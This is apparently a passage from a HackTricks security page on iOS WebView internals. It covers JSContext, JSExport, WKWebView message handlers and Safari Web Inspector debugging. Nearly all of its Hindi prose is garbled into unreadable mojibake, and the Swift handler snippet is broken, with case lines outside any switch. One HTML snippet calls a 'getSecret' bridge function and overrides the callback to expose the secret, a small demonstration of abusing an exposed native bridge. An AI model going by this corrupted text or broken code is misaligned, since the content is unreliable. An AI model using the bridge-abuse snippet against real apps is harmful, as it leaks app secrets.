  • JSContext: рдЬрдм рдПрдХ Swift рдпрд╛ Objective-C рдмреНрд▓реЙрдХ рдХреЛ JSContext рдХреЗ рднреАрддрд░ рдПрдХ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ JavaScript рдлрд╝рдВрдХреНрд╢рди рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ JavaScript рдФрд░ рдиреЗрдЯрд┐рд╡ рдХреЛрдб рдХреЗ рдмреАрдЪ рдирд┐рд░реНрдмрд╛рдз рдПрдХреАрдХрд░рдг рдФрд░ рд╕рдВрдЪрд╛рд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
  • JSExport Protocol: JSExport рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рд▓реЗрдХрд░, рдиреЗрдЯрд┐рд╡ рдкреНрд░реЙрдкрд░реНрдЯреАрдЬ, рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдореЗрдердбреНрд╕, рдФрд░ рдХреНрд▓рд╛рд╕ рдореЗрдердбреНрд╕ рдХреЛ JavaScript рдХреЗ рд▓рд┐рдП рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ JavaScript рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рдХрд┐рдП рдЧрдП рдХрд┐рд╕реА рднреА рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рдиреЗрдЯрд┐рд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдореЗрдВ рджрд░реНрд╢рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрддред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рди рд╣реЛред

Accessing JSContext in Objective-C

Objective-C рдореЗрдВ, UIWebView рдХреЗ рд▓рд┐рдП JSContext рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рдХреА рдкрдВрдХреНрддрд┐ рдХреЗ рд╕рд╛рде рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

Communication with WKWebView

WKWebView рдХреЗ рд▓рд┐рдП, JSContext рддрдХ рд╕реАрдзреА рдкрд╣реБрдБрдЪ рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рд╕рдВрджреЗрд╢ рдкрд╛рд╕рд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ postMessage рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ JavaScript рдХреЛ рдореВрд▓ рд╕рдВрдЪрд╛рд░ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрди рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИрдВрдбрд▓рд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕реЗрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ JavaScript рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдореВрд▓ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

Interaction and Testing

JavaScript рд╕реНрд╡рджреЗрд╢реА рдкрд░рдд рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рдВрджреЗрд╢ рд╣реИрдВрдбрд▓рд░ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдХреЗред рдпрд╣ рдПрдХ рд╡реЗрдмрдкреЗрдЬ рд╕реЗ рд╕реНрд╡рджреЗрд╢реА рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдмреБрд▓рд╛рдиреЗ рдЬреИрд╕реА рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

native рдлрд╝рдВрдХреНрд╢рди рдХреЙрд▓ рдХреЗ рдкрд░рд┐рдгрд╛рдо рдХреЛ рдХреИрдкреНрдЪрд░ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреЛрдИ HTML рдХреЗ рднреАрддрд░ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

рдиреИрдЯрд┐рд╡ рд╕рд╛рдЗрдб JavaScriptBridgeMessageHandler рдХреНрд▓рд╛рд╕ рдореЗрдВ рджрд┐рдЦрд╛рдП рдЕрдиреБрд╕рд╛рд░ JavaScript рдХреЙрд▓ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ рд╕рдВрдЦреНрдпрд╛рдУрдВ рдХреЛ рдЧреБрдгрд╛ рдХрд░рдиреЗ рдЬреИрд╕реА рдСрдкрд░реЗрд╢рдиреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░реЛрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ JavaScript рдореЗрдВ рдбрд┐рд╕реНрдкреНрд▓реЗ рдпрд╛ рдЖрдЧреЗ рдХреА рдореИрдирд┐рдкреБрд▓реЗрд╢рди рдХреЗ рд▓рд┐рдП рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ:

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

Debugging iOS WebViews

(Tutorial based on the one from https://blog.vuplex.com/debugging-webviews)

iOS рд╡реЗрдмрд╡реНрдпреВ рдореЗрдВ рд╡реЗрдм рд╕рд╛рдордЧреНрд░реА рдХреЛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдбрд┐рдмрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╕рдлрд╛рд░реА рдХреЗ рдбреЗрд╡рд▓рдкрд░ рдЯреВрд▓реНрд╕ рдХреА рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реЗрдЯрдЕрдк рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ console.log() рдХреЛ рднреЗрдЬреЗ рдЧрдП рд╕рдВрджреЗрд╢ Xcode рд▓реЙрдЧ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рд╣реЛрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рд╕рд░рд▓ рдорд╛рд░реНрдЧрджрд░реНрд╢рд┐рдХрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рдореБрдЦ рдЪрд░рдгреЛрдВ рдФрд░ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдкрд░ рдЬреЛрд░ рджреЗрддреА рд╣реИ:

  • iOS рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рддреИрдпрд╛рд░реА: рдЖрдкрдХреЗ iOS рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рдлрд╛рд░реА рд╡реЗрдм рдЗрдВрд╕реНрдкреЗрдХреНрдЯрд░ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрд╣ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ > рд╕рдлрд╛рд░реА > рдЙрдиреНрдирдд рдореЗрдВ рдЬрд╛рдХрд░ рдФрд░ рд╡реЗрдм рдЗрдВрд╕реНрдкреЗрдХреНрдЯрд░ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

  • macOS рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рддреИрдпрд╛рд░реА: рдЖрдкрдХреЗ macOS рд╡рд┐рдХрд╛рд╕ рдорд╢реАрди рдкрд░, рдЖрдкрдХреЛ рд╕рдлрд╛рд░реА рдореЗрдВ рдбреЗрд╡рд▓рдкрд░ рдЯреВрд▓реНрд╕ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╕рдлрд╛рд░реА рд▓реЙрдиреНрдЪ рдХрд░реЗрдВ, рд╕рдлрд╛рд░реА > рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдПрдБ > рдЙрдиреНрдирдд рдкрд░ рдЬрд╛рдПрдБ, рдФрд░ рдбреЗрд╡рд▓рдк рдореЗрдиреВ рджрд┐рдЦрд╛рдПрдБ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЪрдпрди рдХрд░реЗрдВред

  • рдХрдиреЗрдХреНрд╢рди рдФрд░ рдбрд┐рдмрдЧрд┐рдВрдЧ: рдЕрдкрдиреЗ iOS рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдЕрдкрдиреЗ macOS рдХрдВрдкреНрдпреВрдЯрд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдФрд░ рдЕрдкрдиреЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЕрдкрдиреЗ macOS рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рдлрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕ рд╡реЗрдмрд╡реНрдпреВ рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдбрд┐рдмрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рд╕рдлрд╛рд░реА рдХреЗ рдореЗрдиреВ рдмрд╛рд░ рдореЗрдВ рдбреЗрд╡рд▓рдк рдкрд░ рдЬрд╛рдПрдБ, рдЕрдкрдиреЗ iOS рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рдирд╛рдо рдкрд░ рд╣реЛрд╡рд░ рдХрд░реЗрдВ рддрд╛рдХрд┐ рд╡реЗрдмрд╡реНрдпреВ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреА рд╕реВрдЪреА рджрд┐рдЦрд╛рдИ рджреЗ, рдФрд░ рдЙрд╕ рдЙрджрд╛рд╣рд░рдг рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рдПрдХ рдирдпрд╛ рд╕рдлрд╛рд░реА рд╡реЗрдм рдЗрдВрд╕реНрдкреЗрдХреНрдЯрд░ рд╡рд┐рдВрдбреЛ рдЦреБрд▓реЗрдЧрд╛ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╕реАрдорд╛рдУрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рддрд░реНрдХ рд░рд╣реЗрдВ:

  • рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд╕рд╛рде рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдПрдХ macOS рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕рдлрд╛рд░реА рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддрд╛ рд╣реИред
  • рдХреЗрд╡рд▓ рдЙрди рдПрдкреНрд▓рд┐рдХреЗрд╢рдиреЛрдВ рдореЗрдВ рд╡реЗрдмрд╡реНрдпреВ рдбрд┐рдмрдЧрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рдпреЛрдЧреНрдп рд╣реИрдВ рдЬреЛ Xcode рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЖрдкрдХреЗ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд▓реЛрдб рдХреА рдЧрдИ рд╣реИрдВред рдРрдк рд╕реНрдЯреЛрд░ рдпрд╛ рдПрдкреНрдкрд▓ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрдЯрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реНрдерд╛рдкрд┐рдд рдРрдкреНрд╕ рдореЗрдВ рд╡реЗрдмрд╡реНрдпреВ рдХреЛ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдбрд┐рдмрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

References

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}